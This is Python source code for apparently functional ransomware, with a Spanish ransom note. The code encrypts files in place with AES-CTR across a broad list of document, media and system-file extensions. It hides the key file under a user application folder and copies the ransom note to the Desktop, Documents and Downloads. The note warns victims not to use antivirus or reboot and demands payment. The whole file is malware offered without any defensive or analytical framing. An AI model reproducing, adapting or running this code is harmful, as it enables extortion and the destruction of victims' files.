import os
from tkinter import messagebox
import random
import hashlib
import socket
from Crypto.Util import Counter
from Crypto.Cipher import AES
import shutil
def archivo_texto():
archivo_texto = open ("LEEME","w")
frase = "OOOPS :(, ¡TUS ARCHIVOS HAN SIDO ENCRIPTADOS! \n \n \n¿Que les ha sucedido a mis archivos? \n \nSus archivos acaban de ser encriptados, resultando completamente inutilizables. \nEs posible que muchos de sus documentos y fotos ahora no sean compatibles con su dispositivo, y por tanto no los puede abrir. \n \n¿Puedo recuperar mis archivos? \n \n¡Por supuesto! Si desea decodificar sus archivos para que vuelvan a ser utilizables, \nsímplemente siga las instrucciones que se muestran a continuación: \n \n \n \nINSTRUCCIONES: \n \n1. -rescate- \n \n2. Envíe por email un comprobante de pago (como una captura de pantalla) \n a la dirección del pago \n \n3. Una vez comprobado el pago, le indicaré por gmail dónde se encuentra la clave para recuperar sus archivos. \n \n \n¿QUE NO DEBO HACER? \n \n-Bajo ningún concepto trate de eliminar ningún archivo del pc, ya que la clave se encuentra alojada en alguno de ellos. \n \n-NO intente instalar antivirus o desencriptar los archivos por su cuenta. \n Si hace esto, TODOS SUS ARCHIVOS SERÁN ELIMINADOS y no los podrá recuperar. \n \n-NO reinicie el sistema infectado, por mucho que lo haga, sus archivos seguirán encriptados."
archivo_texto.write (frase)
archivo_texto.close()
archivo_texto()
username = os.getlogin()
destination = 'C:\\Users\\[]\\Desktop\\pruebas'.format(username)
destination = os.path.abspath('')
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]
extensions = [".txt", ".png", ".jpg", ".ico", ".mp3", ".mp4", ".exe", ".doc", ".docx", ".pdf", ".lnk", ".bat", ".vbs", ".mov", ".gif", ".dll", ".sys", ".avi", ".wav", ".zip", ".rar", ".ibook", ".mwv", ".jpeg"]
def hash_key():
hashnumber = destination + socket.gethostname() + str(random.randint(0, 10000000000000000000000000000000000000000000000))
hashnumber = hashnumber.encode('utf-8')
print(hashnumber)
hashnumber = hashlib.sha512(hashnumber)
hashnumber = hashnumber.hexdigest()
new_key = []
for k in hashnumber:
if len(new_key) == 32:
hashnumber = ''.join(new_key)
break
else:
new_key.append(k)
return hashnumber
def encrypt_and_decrypt(text, crypto, block_size = 16):
with open(text, 'r+b') as encrypted_file:
unencrypted_content = encrypted_file.read(block_size)
while unencrypted_content:
encrypted_content = crypto(unencrypted_content)
if len(unencrypted_content) != len(encrypted_content):
raise ValueError('')
encrypted_file.seek(- len(unencrypted_content), 1)
encrypted_file.write(encrypted_content)
unencrypted_content = encrypted_file.read(block_size)
def discover(key):
archivos_lista = open('archivos_lista', 'w+')
for extension in extensions:
for file in files:
if file.endswith(extension):
archivos_lista.write(os.path.join(file)+ '\n')
archivos_lista.close()
del_space = open('archivos_lista', 'r')
del_space = del_space.read().split('\n')
print(del_space)
del_space = [i for i in del_space if not i == '']
print(del_space)
if os.path.exists('clave'):
decrypt_field = input('Enter the symmetric key: ')
clave = open('clave', 'r')
key = clave.read().split('\n')
key = ''.join(key)
if decrypt_field == key:
key = key.encode('utf-8')
counter = Counter.new(128)
crypto = AES.new(key, AES.MODE_CTR, counter = counter)
cryp_files = crypto.decrypt
for element in del_space:
encrypt_and_decrypt(element, cryp_files)
else:
counter = Counter.new(128)
crypto = AES.new(key, AES.MODE_CTR, counter = counter)
clave = open('clave', 'wb')
clave.write(key)
clave.close()
cryp_files = crypto.encrypt
for element in del_space:
encrypt_and_decrypt(element, cryp_files)
def main():
hashnumber = hash_key()
print(hashnumber)
print(len(hashnumber))
hashnumber = hashnumber.encode('utf-8')
discover(hashnumber)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
exit()
def leeme():
username = os.getlogin()
shutil.copy("LEEME", "C:/Users/{}/Desktop".format(username))
shutil.copy("LEEME", "C:/Users/{}/Documents".format(username))
shutil.copy("LEEME", "C:/Users/{}/Downloads".format(username))
shutil.move("clave", "C:/Users/{}/Roaming/Intel/Wireless".format(username))
leeme()